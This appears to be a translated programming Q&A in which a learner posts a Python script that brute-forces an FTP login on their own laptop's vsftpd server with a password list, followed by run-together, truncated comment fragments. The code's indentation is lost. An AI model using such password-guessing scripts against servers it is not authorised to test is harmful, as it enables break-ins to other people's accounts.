когда я пытаюсь научиться python, я открыл FTP-сервер на своем ноутбуке (ubuntu 12.04) с помощью vsftpd. после конфигурации я могу войти на сам ноутбук, используя ftp localhost, а имя пользователя и пароль, которые я выбрал, были NINJA 123 (ради попытки). на моем ПК (в локальной сети) я открываю браузер, ввожу ftp://192.168.1.108/. и когда я получаю всплывающее окно для имени пользователя и пароля, я ввожу вышеуказанные данные - так что - все работает по FTP.
Я написал это, чтобы попытаться взломать:
import socket
import ftplib
port=21
ip="192.168.1.108"
file1="passwords"
try:
s=socket.socket()
s.connect((ip,port))
print "port",port,"is open"
moshe=open(file1,'r')
for line in moshe.readlines():
password=line.strip("\n")
print password
try:
ftp = ftplib.FTP(ip)
ftp.login("NINJA",password)
print ("THE PASSWORD IS:",password)
break
except ftplib.error_perm:
print "Incorrect"
moshe.close()
except:
print "port",port,"is closed"
кажется, работает благодаря Робу
ftp.login("NINJA", "123"). - person Robᵩ   schedule 17.01.2014NameError: name 'ftp' is not defined, и это дало бы вам подсказку. - person Robᵩ   schedule 17.01.2014